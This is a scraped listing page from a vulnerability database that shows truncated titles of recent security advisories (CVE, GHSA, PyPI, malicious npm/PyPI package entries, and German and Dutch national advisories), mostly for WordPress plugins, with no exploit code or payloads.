Recent vulnerabilities


Vulnerabilities are sorted by update time (recent to old).
ID CVSS Description Vendor Product Published Updated
cve-2024-13405 Apptivo Business Site CRM <= 5.3 - Cross-Site Request … apptivo
Apptivo Business Site CRM
6 hours ago 6 hours ago
cve-2024-13592 Team Builder For WPBakery Page Builder(Formerly Visual… labibahmed42
Team Builder For WPBakery Page Builder(Formerly Visual Composer)
6 hours ago 6 hours ago
cve-2024-13468 Trash Duplicate and 301 Redirect <= 1.9 - Missing Auth… solwininfotech
Trash Duplicate and 301 Redirect
6 hours ago 6 hours ago
cve-2024-13736 Pure Chat – Live Chat & More! <= 2.31 - Reflected Cros… pure-chat
Pure Chat – Live Chat & More!
6 hours ago 6 hours ago
cve-2024-13657 Store Locator Widget <= 20200131 - Authenticated (Cont… store-locator-pro
Store Locator Widget
6 hours ago 6 hours ago
cve-2024-13591 Team Builder For WPBakery Page Builder(Formerly Visual… labibahmed42
Team Builder For WPBakery Page Builder(Formerly Visual Composer)
6 hours ago 6 hours ago
cve-2024-13676 Categorized Gallery Plugin <= 2.0 - Authenticated (Con… wamasoftware
Categorized Gallery Plugin
6 hours ago 6 hours ago
cve-2024-11753 UMich OIDC Login <= 1.2.0 - Authenticated (Contributor… umichitswebhosting
UMich OIDC Login
6 hours ago 6 hours ago
cve-2024-13462 WP Wiki Tooltip <= 2.0.2 - Authenticated (Contributor+… nida78
WP Wiki Tooltip
6 hours ago 6 hours ago
cve-2024-11778 CanadaHelps Embedded Donation <= 1.0.0 - Authenticated… canadahelps
CanadaHelps Embedded Donation Form
6 hours ago 6 hours ago
cve-2024-11335 UltraEmbed – Advanced Iframe Plugin For WordPress with… ultradevs
UltraEmbed – Advanced Iframe Plugin For WordPress with Gutenberg Block Included
6 hours ago 6 hours ago
cve-2024-13660 Responsive Flickr Slideshow <= 2.6.1 - Authenticated (… robertmsiaorg
Responsive Flickr Slideshow
6 hours ago 6 hours ago
cve-2024-12339 Digihood HTML Sitemap <= 3.1.1 - Reflected Cross-Site … digihood
Digihood HTML Sitemap
6 hours ago 6 hours ago
cve-2024-13674 Cosmic Blocks (40+) Content Editor Blocks Collection <… berginformatik
Cosmic Blocks (40+) Content Editor Blocks Collection
6 hours ago 6 hours ago
cve-2024-12069 Lexicata <= 1.0.16 - Reflected Cross-Site Scripting lexicata
Lexicata
6 hours ago 6 hours ago
cve-2024-13854 Education Addon for Elementor <= 1.3.1 - Authenticated… nicheaddons
Education Addon for Elementor
6 hours ago 6 hours ago
cve-2024-13711 Pollin <= 1.01.1 - Reflected Cross-Site Scripting binnyva
Pollin
6 hours ago 6 hours ago
cve-2024-12522 Yay! Forms | Embed Custom Forms, Surveys, and Quizzes … yayforms
Yay! Forms | Embed Custom Forms, Surveys, and Quizzes Easily
6 hours ago 6 hours ago
cve-2024-13719 PeproDev Ultimate Invoice <= 2.0.8 - Insecure Direct O… peprodev
PeproDev Ultimate Invoice
6 hours ago 6 hours ago
cve-2024-13390 ADFO – Custom data in admin dashboard <= 1.9.1 - Authe… giuliopanda
ADFO – Custom data in admin dashboard
6 hours ago 6 hours ago
cve-2024-13712 Pollin <= 1.01.1 - Authenticated (Admin+) SQL Injection binnyva
Pollin
6 hours ago 6 hours ago
cve-2024-13589 YouTube Playlists with Schema <= 2.6.1 - Authenticated… johnnya23
YouTube Playlists with Schema
6 hours ago 6 hours ago
cve-2025-0865 WP Media Category Management 2.0 - 2.3.3 - Cross-Site … debaat
WP Media Category Management
6 hours ago 6 hours ago
cve-2024-13663 Coaching Staffs <= 1.4 - Authenticated (Contributor+) … markodonnell
Coaching Staffs
6 hours ago 6 hours ago
cve-2025-0633 5.1 (v4.0) Heap Overflow in iniparser.c iniparser
iniparser
7 hours ago 7 hours ago
cve-2024-12173 N/A Master Slider < 3.10.5 - Editor+ Stored XSS Unknown
Master Slider
8 hours ago 8 hours ago
cve-2025-24841 5.4 (v3.0) Movable Type contains a stored cross-site scripti… Six Apart Ltd.
Movable Type (8.4.x series)
8 hours ago 8 hours ago
cve-2025-25054 6.1 (v3.0) Movable Type contains a reflected cross-site scri… Six Apart Ltd.
Movable Type (8.4.x series)
8 hours ago 8 hours ago
cve-2025-22888 5.4 (v3.0) Movable Type contains a stored cross-site scripti… Six Apart Ltd.
Movable Type (8.4.x series)
8 hours ago 8 hours ago
cve-2024-13799 User Private Files – File Upload & Download Manager wi… deepakkite
User Private Files – File Upload & Download Manager with Secure File Sharing
9 hours ago 9 hours ago
Vulnerabilities are sorted by update time (recent to old).
ID CVSS Description Vendor Product Published Updated
cve-2024-13736 Pure Chat – Live Chat & More! <= 2.31 - Reflected Cros… pure-chat
Pure Chat – Live Chat & More!
6 hours ago 6 hours ago
cve-2024-13719 PeproDev Ultimate Invoice <= 2.0.8 - Insecure Direct O… peprodev
PeproDev Ultimate Invoice
6 hours ago 6 hours ago
cve-2024-13712 Pollin <= 1.01.1 - Authenticated (Admin+) SQL Injection binnyva
Pollin
6 hours ago 6 hours ago
cve-2024-13711 Pollin <= 1.01.1 - Reflected Cross-Site Scripting binnyva
Pollin
6 hours ago 6 hours ago
cve-2024-13679 Widget BUY.BOX <= 3.1.5 - Authenticated (Contributor+)… simply4net
Widget BUY.BOX
6 hours ago 6 hours ago
cve-2024-13676 Categorized Gallery Plugin <= 2.0 - Authenticated (Con… wamasoftware
Categorized Gallery Plugin
6 hours ago 6 hours ago
cve-2024-13674 Cosmic Blocks (40+) Content Editor Blocks Collection <… berginformatik
Cosmic Blocks (40+) Content Editor Blocks Collection
6 hours ago 6 hours ago
cve-2024-13663 Coaching Staffs <= 1.4 - Authenticated (Contributor+) … markodonnell
Coaching Staffs
6 hours ago 6 hours ago
cve-2024-13660 Responsive Flickr Slideshow <= 2.6.1 - Authenticated (… robertmsiaorg
Responsive Flickr Slideshow
6 hours ago 6 hours ago
cve-2024-13657 Store Locator Widget <= 20200131 - Authenticated (Cont… store-locator-pro
Store Locator Widget
6 hours ago 6 hours ago
cve-2024-13592 Team Builder For WPBakery Page Builder(Formerly Visual… labibahmed42
Team Builder For WPBakery Page Builder(Formerly Visual Composer)
6 hours ago 6 hours ago
cve-2024-13591 Team Builder For WPBakery Page Builder(Formerly Visual… labibahmed42
Team Builder For WPBakery Page Builder(Formerly Visual Composer)
6 hours ago 6 hours ago
cve-2024-13589 YouTube Playlists with Schema <= 2.6.1 - Authenticated… johnnya23
YouTube Playlists with Schema
6 hours ago 6 hours ago
cve-2024-13468 Trash Duplicate and 301 Redirect <= 1.9 - Missing Auth… solwininfotech
Trash Duplicate and 301 Redirect
6 hours ago 6 hours ago
cve-2024-13462 WP Wiki Tooltip <= 2.0.2 - Authenticated (Contributor+… nida78
WP Wiki Tooltip
6 hours ago 6 hours ago
cve-2024-13405 Apptivo Business Site CRM <= 5.3 - Cross-Site Request … apptivo
Apptivo Business Site CRM
6 hours ago 6 hours ago
cve-2024-13390 ADFO – Custom data in admin dashboard <= 1.9.1 - Authe… giuliopanda
ADFO – Custom data in admin dashboard
6 hours ago 6 hours ago
cve-2024-12522 Yay! Forms | Embed Custom Forms, Surveys, and Quizzes … yayforms
Yay! Forms | Embed Custom Forms, Surveys, and Quizzes Easily
6 hours ago 6 hours ago
cve-2024-12339 Digihood HTML Sitemap <= 3.1.1 - Reflected Cross-Site … digihood
Digihood HTML Sitemap
6 hours ago 6 hours ago
cve-2024-12069 Lexicata <= 1.0.16 - Reflected Cross-Site Scripting lexicata
Lexicata
6 hours ago 6 hours ago
cve-2024-11778 CanadaHelps Embedded Donation <= 1.0.0 - Authenticated… canadahelps
CanadaHelps Embedded Donation Form
6 hours ago 6 hours ago
cve-2024-11753 UMich OIDC Login <= 1.2.0 - Authenticated (Contributor… umichitswebhosting
UMich OIDC Login
6 hours ago 6 hours ago
cve-2024-11335 UltraEmbed – Advanced Iframe Plugin For WordPress with… ultradevs
UltraEmbed – Advanced Iframe Plugin For WordPress with Gutenberg Block Included
6 hours ago 6 hours ago
cve-2025-0633 5.1 (v4.0) Heap Overflow in iniparser.c iniparser
iniparser
7 hours ago 7 hours ago
cve-2025-25054 6.1 (v3.0) Movable Type contains a reflected cross-site scri… Six Apart Ltd.
Movable Type (8.4.x series)
8 hours ago 8 hours ago
cve-2025-24841 5.4 (v3.0) Movable Type contains a stored cross-site scripti… Six Apart Ltd.
Movable Type (8.4.x series)
8 hours ago 8 hours ago
cve-2025-22888 5.4 (v3.0) Movable Type contains a stored cross-site scripti… Six Apart Ltd.
Movable Type (8.4.x series)
8 hours ago 8 hours ago
cve-2025-1065 Visualizer: Tables and Charts Manager for WordPress <=… themeisle
Visualizer: Tables and Charts Manager for WordPress
9 hours ago 9 hours ago
cve-2024-13799 User Private Files – File Upload & Download Manager wi… deepakkite
User Private Files – File Upload & Download Manager with Secure File Sharing
9 hours ago 9 hours ago
cve-2024-12173 N/A Master Slider < 3.10.5 - Editor+ Stored XSS Unknown
Master Slider
8 hours ago 8 hours ago
Vulnerabilities are sorted by update time (recent to old).
ID Description Published Updated
fkie_cve-2024-13712 The Pollin plugin for WordPress is vulnerable to SQL Injection via the 'question' parameter in all … 6 hours ago 6 hours ago
fkie_cve-2024-13711 The Pollin plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the 'question' … 6 hours ago 6 hours ago
fkie_cve-2024-13679 The Widget BUY.BOX plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin… 6 hours ago 6 hours ago
fkie_cve-2024-13676 The Categorized Gallery Plugin plugin for WordPress is vulnerable to SQL Injection via the 'field' … 6 hours ago 6 hours ago
fkie_cve-2024-13674 The Cosmic Blocks (40+) Content Editor Blocks Collection plugin for WordPress is vulnerable to Stor… 6 hours ago 6 hours ago
fkie_cve-2024-13663 The Coaching Staffs plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugi… 6 hours ago 6 hours ago
fkie_cve-2024-13660 The Responsive Flickr Slideshow plugin for WordPress is vulnerable to Stored Cross-Site Scripting v… 6 hours ago 6 hours ago
fkie_cve-2024-13657 The Store Locator Widget plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the … 6 hours ago 6 hours ago
fkie_cve-2024-13592 The Team Builder For WPBakery Page Builder(Formerly Visual Composer) plugin for WordPress is vulner… 6 hours ago 6 hours ago
fkie_cve-2024-13591 The Team Builder For WPBakery Page Builder(Formerly Visual Composer) plugin for WordPress is vulner… 6 hours ago 6 hours ago
fkie_cve-2024-13589 The YouTube Playlists with Schema plugin for WordPress is vulnerable to Stored Cross-Site Scripting… 6 hours ago 6 hours ago
fkie_cve-2024-13468 The Trash Duplicate and 301 Redirect plugin for WordPress is vulnerable to unauthorized loss of dat… 6 hours ago 6 hours ago
fkie_cve-2024-13462 The WP Wiki Tooltip plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugi… 6 hours ago 6 hours ago
fkie_cve-2024-13405 The Apptivo Business Site CRM plugin for WordPress is vulnerable to Cross-Site Request Forgery in a… 6 hours ago 6 hours ago
fkie_cve-2024-13390 The ADFO – Custom data in admin dashboard plugin for WordPress is vulnerable to Stored Cross-Site S… 6 hours ago 6 hours ago
fkie_cve-2024-12522 The Yay! Forms | Embed Custom Forms, Surveys, and Quizzes Easily plugin for WordPress is vulnerable… 6 hours ago 6 hours ago
fkie_cve-2024-12339 The Digihood HTML Sitemap plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via … 6 hours ago 6 hours ago
fkie_cve-2024-12069 The Lexicata plugin for WordPress is vulnerable to Reflected Cross-Site Scripting due to the use of… 6 hours ago 6 hours ago
fkie_cve-2024-11778 The CanadaHelps Embedded Donation Form plugin for WordPress is vulnerable to Stored Cross-Site Scri… 6 hours ago 6 hours ago
fkie_cve-2024-11753 The UMich OIDC Login plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plug… 6 hours ago 6 hours ago
fkie_cve-2024-11335 The UltraEmbed – Advanced Iframe Plugin For WordPress with Gutenberg Block Included plugin for Word… 6 hours ago 6 hours ago
fkie_cve-2025-0633 Heap-based Buffer Overflow vulnerability in iniparser_dumpsection_ini() in iniparser allows attacke… 7 hours ago 7 hours ago
fkie_cve-2025-25054 Movable Type contains a reflected cross-site scripting vulnerability in the user information edit p… 8 hours ago 8 hours ago
fkie_cve-2025-24841 Movable Type contains a stored cross-site scripting vulnerability in the HTML edit mode of MT Block… 8 hours ago 8 hours ago
fkie_cve-2025-22888 Movable Type contains a stored cross-site scripting vulnerability in the custom block edit page of … 8 hours ago 8 hours ago
fkie_cve-2025-1065 The Visualizer: Tables and Charts Manager for WordPress plugin for WordPress is vulnerable to Store… 8 hours ago 8 hours ago
fkie_cve-2024-13799 The User Private Files – File Upload & Download Manager with Secure File Sharing plugin for WordPre… 8 hours ago 8 hours ago
fkie_cve-2024-12173 The Master Slider WordPress plugin before 3.10.5 does not sanitise and escape some of its settings… 8 hours ago 8 hours ago
fkie_cve-2025-26465 A vulnerability was found in OpenSSH when the VerifyHostKeyDNS option is enabled. A machine-in-the-… 19 hours ago 9 hours ago
fkie_cve-2025-1441 The Royal Elementor Addons and Templates plugin for WordPress is vulnerable to Cross-Site Request F… 9 hours ago 9 hours ago
Vulnerabilities are sorted by update time (recent to old).
ID Description Published Updated
ghsa-32xx-6c3g-hvfm A time-based blind SQL Injection vulnerability exists in the ChurchCRM 5.13.0 and prior EditEventAt… 4 hours ago 4 hours ago
ghsa-q942-v859-36xh The Team Builder For WPBakery Page Builder(Formerly Visual Composer) plugin for WordPress is vulner… 4 hours ago 4 hours ago
ghsa-q577-86mp-gr55 The YouTube Playlists with Schema plugin for WordPress is vulnerable to Stored Cross-Site Scripting… 4 hours ago 4 hours ago
ghsa-q3h9-rwc2-qqjg The ADFO – Custom data in admin dashboard plugin for WordPress is vulnerable to Stored Cross-Site S… 4 hours ago 4 hours ago
ghsa-pwr7-5mhg-h3w9 The WP Wiki Tooltip plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugi… 4 hours ago 4 hours ago
ghsa-pg3g-2g25-jr6h The Lexicata plugin for WordPress is vulnerable to Reflected Cross-Site Scripting due to the use of… 4 hours ago 4 hours ago
ghsa-p93c-j757-8xx3 The Store Locator Widget plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the … 4 hours ago 4 hours ago
ghsa-mqjq-mq5f-5r6f The Responsive Flickr Slideshow plugin for WordPress is vulnerable to Stored Cross-Site Scripting v… 4 hours ago 4 hours ago
ghsa-hwhv-hx2h-x5c2 The Coaching Staffs plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugi… 4 hours ago 4 hours ago
ghsa-chhc-58vf-c2gm The UltraEmbed – Advanced Iframe Plugin For WordPress with Gutenberg Block Included plugin for Word… 4 hours ago 4 hours ago
ghsa-ccg8-phgc-f279 The Team Builder For WPBakery Page Builder(Formerly Visual Composer) plugin for WordPress is vulner… 4 hours ago 4 hours ago
ghsa-c4p7-x9wr-9vv6 The Digihood HTML Sitemap plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via … 4 hours ago 4 hours ago
ghsa-98vh-gq6f-2f4h The Apptivo Business Site CRM plugin for WordPress is vulnerable to Cross-Site Request Forgery in a… 4 hours ago 4 hours ago
ghsa-766r-hgq9-v6vx Incorrect Privilege Assignment vulnerability in NotFound K Elements allows Privilege Escalation. Th… 16 hours ago 4 hours ago
ghsa-5x9r-7frr-2jj6 The Yay! Forms | Embed Custom Forms, Surveys, and Quizzes Easily plugin for WordPress is vulnerable… 4 hours ago 4 hours ago
ghsa-3q32-89h8-v6v9 The CanadaHelps Embedded Donation Form plugin for WordPress is vulnerable to Stored Cross-Site Scri… 4 hours ago 4 hours ago
ghsa-366j-2qhv-326r The Trash Duplicate and 301 Redirect plugin for WordPress is vulnerable to unauthorized loss of dat… 4 hours ago 4 hours ago
ghsa-33rh-2p9m-p99m The UMich OIDC Login plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plug… 4 hours ago 4 hours ago
ghsa-2599-v2c2-3fp3 Heap-based Buffer Overflow vulnerability in iniparser_dumpsection_ini() in iniparser allows attacke… 4 hours ago 4 hours ago
ghsa-8fvq-rgm5-cff9 A vulnerability exists in ChurchCRM 5.13.0 and prior that allows an attacker to hijack a user's ses… 1 day ago 4 hours ago
ghsa-qj2g-cp58-9mf6 Movable Type contains a reflected cross-site scripting vulnerability in the user information edit p… 7 hours ago 7 hours ago
ghsa-pqch-79w5-3vfc The Master Slider WordPress plugin before 3.10.5 does not sanitise and escape some of its settings… 7 hours ago 7 hours ago
ghsa-f84q-9f7w-hp3p Movable Type contains a stored cross-site scripting vulnerability in the custom block edit page of … 7 hours ago 7 hours ago
ghsa-9r2m-55p3-3v46 Movable Type contains a stored cross-site scripting vulnerability in the HTML edit mode of MT Block… 7 hours ago 7 hours ago
ghsa-7mx6-r87v-j64g The User Private Files – File Upload & Download Manager with Secure File Sharing plugin for WordPre… 7 hours ago 7 hours ago
ghsa-2rmq-m43q-chm7 The Visualizer: Tables and Charts Manager for WordPress plugin for WordPress is vulnerable to Store… 7 hours ago 7 hours ago
ghsa-x5mj-r7qx-324p The Easypromos Plugin plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plu… 7 hours ago 7 hours ago
ghsa-whg9-m2vx-fwf2 Age Verification for your checkout page. Verify your customer's identity 1.20.0 was found to be vul… 7 hours ago 7 hours ago
ghsa-jrwv-mv4h-7rrq A vulnerability was found in OpenSSH when the VerifyHostKeyDNS option is enabled. A machine-in-the-… 16 hours ago 7 hours ago
ghsa-8mr8-cvwj-q94g The Royal Elementor Addons and Templates plugin for WordPress is vulnerable to Cross-Site Request F… 7 hours ago 7 hours ago
Vulnerabilities are sorted by update time (recent to old).
ID Description Published Updated
pysec-2024-212 Apache Airflow versions before 2.10.1 have a vulnerability that allows DAG authors to add local set… 5 months ago 30 days ago
pysec-2024-211 Waitress is a Web Server Gateway Interface server for Python 2 and 3. When a remote client closes t… 3 months ago 30 days ago
pysec-2024-210 Waitress is a Web Server Gateway Interface server for Python 2 and 3. A remote client may send a re… 3 months ago 30 days ago
pysec-2024-209 Vyper is a pythonic Smart Contract Language for the Ethereum virtual machine. In versions 0.3.10 an… 9 months ago 30 days ago
pysec-2024-208 Vyper is a pythonic Smart Contract Language for the Ethereum virtual machine. In versions 0.3.10 an… 9 months ago 30 days ago
pysec-2024-207 Vyper is a pythonic Smart Contract Language for the Ethereum virtual machine. In versions 0.3.10 an… 9 months ago 30 days ago
pysec-2024-206 Vyper is a pythonic Smart Contract Language for the Ethereum virtual machine. In versions 0.3.10 an… 9 months ago 30 days ago
pysec-2024-205 Vyper is a pythonic Smart Contract Language for the ethereum virtual machine. When using the built-… 11 months ago 30 days ago
pysec-2024-204 TorchGeo Remote Code Execution Vulnerability 3 months ago 30 days ago
pysec-2024-203 DuckDB is a SQL database management system. In versions 1.0.0 and prior, content in filesystem is a… 6 months ago 30 days ago
pysec-2024-202 OctoPrint provides a web interface for controlling consumer 3D printers. OctoPrint versions up unti… 3 months ago 30 days ago
pysec-2024-201 OctoPrint provides a web interface for controlling consumer 3D printers. OctoPrint versions up unti… 3 months ago 30 days ago
pysec-2024-200 JupyterHub is software that allows one to create a multi-user server for Jupyter notebooks. Prior t… 6 months ago 30 days ago
pysec-2024-199 Gradio is an open-source Python package designed for quick prototyping. This vulnerability involves… 4 months ago 30 days ago
pysec-2024-198 Gradio is an open-source Python package designed for quick prototyping. This vulnerability involves… 4 months ago 30 days ago
pysec-2024-197 Gradio is an open-source Python package designed for quick prototyping. This vulnerability involves… 4 months ago 30 days ago
pysec-2024-196 Gradio is an open-source Python package designed for quick prototyping. This vulnerability is relat… 4 months ago 30 days ago
pysec-2024-195 Use of Web Browser Cache Containing Sensitive Information vulnerability in Apache Airflow.  Airflo… 8 months ago 30 days ago
pysec-2024-194 A clickjacking vulnerability exists in zenml-io/zenml versions up to and including 0.55.5 due to th… 8 months ago 1 month ago
pysec-2024-193 An issue was discovered in zenml-io/zenml versions up to and including 0.55.4. Due to improper auth… 8 months ago 1 month ago
pysec-2024-192 An issue was discovered in llama_index before 0.10.38. download/integration.py includes an exec cal… 5 months ago 1 month ago
pysec-2024-191 The Snowflake Connector for Python provides an interface for developing Python applications that ca… 3 months ago 1 month ago
pysec-2024-190 Apache Airflow 2.4.0, and versions before 2.9.3, has a vulnerability that allows authenticated DAG … 7 months ago 1 month ago
pysec-2024-189 Apache Airflow versions before 2.9.3 have a vulnerability that allows an authenticated attacker to … 7 months ago 1 month ago
pysec-2024-188 WebOb provides objects for HTTP requests and responses. When WebOb normalizes the HTTP Location hea… 6 months ago 1 month ago
pysec-2024-187 virtualenv before 20.26.6 allows command injection through the activation scripts for a virtual env… 2 months ago 1 month ago
pysec-2024-186 RestrictedPython is a restricted execution environment for Python to run untrusted code. A user can… 4 months ago 1 month ago
pysec-2024-185 Nebari through 2024.4.1 prints the temporary Keycloak root password. 9 months ago 1 month ago
pysec-2024-184 A local file inclusion vulnerability exists in the JSON component of gradio-app/gradio version 4.25… 8 months ago 1 month ago
pysec-2024-183 CodeChecker is an analyzer tooling, defect database and viewer extension for the Clang Static Analy… 3 months ago 1 month ago
Vulnerabilities are sorted by update time (recent to old).
ID Description
gsd-2024-33881 The format of the source doesn't require a description, click on the link for more details
gsd-2024-33880 The format of the source doesn't require a description, click on the link for more details
gsd-2024-33879 The format of the source doesn't require a description, click on the link for more details
gsd-2024-33878 The format of the source doesn't require a description, click on the link for more details
gsd-2024-33877 The format of the source doesn't require a description, click on the link for more details
gsd-2024-33876 The format of the source doesn't require a description, click on the link for more details
gsd-2024-33875 The format of the source doesn't require a description, click on the link for more details
gsd-2024-33874 The format of the source doesn't require a description, click on the link for more details
gsd-2024-33873 The format of the source doesn't require a description, click on the link for more details
gsd-2024-33872 The format of the source doesn't require a description, click on the link for more details
gsd-2024-33871 The format of the source doesn't require a description, click on the link for more details
gsd-2024-33870 The format of the source doesn't require a description, click on the link for more details
gsd-2024-33869 The format of the source doesn't require a description, click on the link for more details
gsd-2024-33868 The format of the source doesn't require a description, click on the link for more details
gsd-2024-33867 The format of the source doesn't require a description, click on the link for more details
gsd-2024-33866 The format of the source doesn't require a description, click on the link for more details
gsd-2024-33865 The format of the source doesn't require a description, click on the link for more details
gsd-2024-33864 The format of the source doesn't require a description, click on the link for more details
gsd-2024-33863 The format of the source doesn't require a description, click on the link for more details
gsd-2024-33862 The format of the source doesn't require a description, click on the link for more details
gsd-2024-33861 The format of the source doesn't require a description, click on the link for more details
gsd-2024-33860 The format of the source doesn't require a description, click on the link for more details
gsd-2024-33859 The format of the source doesn't require a description, click on the link for more details
gsd-2024-33858 The format of the source doesn't require a description, click on the link for more details
gsd-2024-33857 The format of the source doesn't require a description, click on the link for more details
gsd-2024-33856 The format of the source doesn't require a description, click on the link for more details
gsd-2024-33855 The format of the source doesn't require a description, click on the link for more details
gsd-2024-33854 The format of the source doesn't require a description, click on the link for more details
gsd-2024-33853 The format of the source doesn't require a description, click on the link for more details
gsd-2024-33852 The format of the source doesn't require a description, click on the link for more details
Vulnerabilities are sorted by update time (recent to old).
ID Description Published Updated
mal-2024-1264 Malicious code in trip-component-platform-online-usp (npm) 10 months ago 10 months ago
mal-2024-1261 Malicious code in trip-component-platform-online-goto (npm) 10 months ago 10 months ago
mal-2024-1260 Malicious code in trip-component-platform-online-footer (npm) 10 months ago 10 months ago
mal-2024-1265 Malicious code in viiiivek (npm) 10 months ago 10 months ago
mal-2024-1263 Malicious code in trip-component-platform-online-prepermission-popup (npm) 10 months ago 10 months ago
mal-2024-1262 Malicious code in trip-component-platform-online-header (npm) 10 months ago 10 months ago
mal-2024-1259 Malicious code in trip-component-platform-online-cookie-banner (npm) 10 months ago 10 months ago
mal-2024-1258 Malicious code in heroicons1 (npm) 10 months ago 10 months ago
mal-2024-1256 Malicious code in discourse-i18n (npm) 10 months ago 10 months ago
mal-2024-1255 Malicious code in deprecation-silencer (npm) 10 months ago 10 months ago
mal-2024-1257 Malicious code in discourse-markdown-it (npm) 10 months ago 10 months ago
mal-2024-1266 Malicious code in wt-fe-buz-utilities-collection (npm) 10 months ago 10 months ago
mal-2024-1254 Malicious code in reqargs (PyPI) 10 months ago 10 months ago
mal-2024-1206 Malicious code in f3ngtest12345677 (npm) 10 months ago 10 months ago
mal-2024-1203 Malicious code in nespresso-bi (npm) 10 months ago 10 months ago
mal-2022-7444 Malicious code in @sdc-wob-type-3/group-ui (npm) 2 years ago 10 months ago
mal-2022-7443 Malicious code in @getstep/sdk (npm) 2 years ago 10 months ago
mal-2024-1243 Malicious code in @lbnqduy11805/turbo-octo-memory (npm) 10 months ago 10 months ago
mal-2024-1240 Malicious code in @lbnqduy11805/sturdy-chainsaw (npm) 10 months ago 10 months ago
mal-2024-1230 Malicious code in @lbnqduy11805/refactored-octo-carnival (npm) 10 months ago 10 months ago
mal-2024-1227 Malicious code in @lbnqduy11805/psychic-waffle (npm) 10 months ago 10 months ago
mal-2024-1216 Malicious code in @lbnqduy11805/congenial-octo-guide (npm) 10 months ago 10 months ago
mal-2024-1213 Malicious code in @lbnqduy11805/bookish-sniffle (npm) 10 months ago 10 months ago
mal-2024-1245 Malicious code in @lbnqduy11805/verbose-pancake (npm) 10 months ago 10 months ago
mal-2024-1242 Malicious code in @lbnqduy11805/super-duper-train (npm) 10 months ago 10 months ago
mal-2024-1239 Malicious code in @lbnqduy11805/stunning-octo-parakeet (npm) 10 months ago 10 months ago
mal-2024-1233 Malicious code in @lbnqduy11805/silver-parakeet (npm) 10 months ago 10 months ago
mal-2024-1232 Malicious code in @lbnqduy11805/shiny-rotary-phone (npm) 10 months ago 10 months ago
mal-2024-1225 Malicious code in @lbnqduy11805/potential-octo-enigma (npm) 10 months ago 10 months ago
mal-2024-1224 Malicious code in @lbnqduy11805/potential-giggle (npm) 10 months ago 10 months ago
Vulnerabilities are sorted by update time (recent to old).
ID Description Published Updated
wid-sec-w-2025-0127 Moxa Switch: Schwachstelle ermöglicht Umgehen von Sicherheitsvorkehrungen 30 days ago 30 days ago
wid-sec-w-2025-0126 Verschiedene Tunneling Protokolle: Mehrere Schwachstellen 30 days ago 30 days ago
wid-sec-w-2025-0125 IBM Maximo Asset Management: Schwachstelle ermöglicht Offenlegung von Informationen 30 days ago 30 days ago
wid-sec-w-2025-0124 IBM App Connect Enterprise: Schwachstelle ermöglicht Offenlegung von Informationen 30 days ago 30 days ago
wid-sec-w-2025-0122 Mattermost: Mehrere Schwachstellen 30 days ago 30 days ago
wid-sec-w-2025-0121 IBM Sterling Connect:Direct: Schwachstelle ermöglicht Offenlegung von Informationen 30 days ago 30 days ago
wid-sec-w-2025-0120 Microsoft Edge: Mehrere Schwachstellen 30 days ago 30 days ago
wid-sec-w-2025-0119 Linux Kernel: Mehrere Schwachstellen 30 days ago 30 days ago
wid-sec-w-2025-0118 Perl: Schwachstelle ermöglicht Privilegieneskalation 8 years ago 30 days ago
wid-sec-w-2025-0117 Linux Kernel: Mehrere Schwachstellen 7 years ago 30 days ago
wid-sec-w-2025-0116 Linux Kernel: Schwachstelle ermöglicht Denial of Service 7 years ago 30 days ago
wid-sec-w-2025-0097 git: Mehrere Schwachstellen ermöglichen Manipulation 1 month ago 30 days ago
wid-sec-w-2025-0093 Microsoft Developer Tools: Mehrere Schwachstellen 1 month ago 30 days ago
wid-sec-w-2025-0091 Microsoft Windows: Mehrere Schwachstellen 1 month ago 30 days ago
wid-sec-w-2025-0090 Red Hat Enterprise Linux (librdf): Schwachstelle ermöglicht Denial of Service 1 month ago 30 days ago
wid-sec-w-2025-0084 Rsync: Mehrere Schwachstellen 1 month ago 30 days ago
wid-sec-w-2025-0028 LibreOffice: Mehrere Schwachstellen 1 month ago 30 days ago
wid-sec-w-2025-0026 Mozilla Firefox, Firefox ESR und Thunderbird: Mehrere Schwachstellen 1 month ago 30 days ago
wid-sec-w-2024-3762 Linux Kernel: Mehrere Schwachstellen ermöglichen Denial of Service 1 month ago 30 days ago
wid-sec-w-2024-3756 Linux Kernel: Mehrere Schwachstellen 1 month ago 30 days ago
wid-sec-w-2024-3744 Apache Tomcat: Schwachstelle ermöglicht Codeausführung 1 month ago 30 days ago
wid-sec-w-2024-3722 Apache Tomcat: Mehrere Schwachstellen 2 months ago 30 days ago
wid-sec-w-2024-3715 Linux Kernel: Schwachstelle ermöglicht Umgehen von Sicherheitsvorkehrungen 2 months ago 30 days ago
wid-sec-w-2024-3714 Xen: Mehrere Schwachstellen 2 months ago 30 days ago
wid-sec-w-2024-3682 Python "virtualenv": Schwachstelle ermöglicht Codeausführung 2 months ago 30 days ago
wid-sec-w-2024-3619 Linux Kernel: Mehrere Schwachstellen ermöglichen nicht spezifizierten Angriff 2 months ago 30 days ago
wid-sec-w-2024-3608 Linux Kernel: Mehrere Schwachstellen ermöglichen Denial of Service 2 months ago 30 days ago
wid-sec-w-2024-3575 Linux Kernel: Mehrere Schwachstellen ermöglichen Denial of Service 2 months ago 30 days ago
wid-sec-w-2024-3570 Linux Kernel: Mehrere Schwachstellen ermöglichen Denial of Service 2 months ago 30 days ago
wid-sec-w-2024-3547 Linux Kernel: Mehrere Schwachstellen ermöglichen nicht spezifizierten Angriff 2 months ago 30 days ago
Vulnerabilities are sorted by update time (recent to old).
ID Description Published Updated
ncsc-2025-0033 Kwetsbaarheden verholpen in Oracle E-Business Suite 22 days ago 22 days ago
ncsc-2025-0009 Kwetsbaarheid verholpen in FortiNet FortiOS en FortiProxy 1 month ago 22 days ago
ncsc-2025-0032 Kwetsbaarheden verholpen in Apple macOS 22 days ago 22 days ago
ncsc-2025-0031 Kwetsbaarheid verholpen in Cisco Meeting Management 27 days ago 27 days ago
ncsc-2025-0030 Kwetsbaarheid verholpen in Cisco BroadWorks 27 days ago 27 days ago
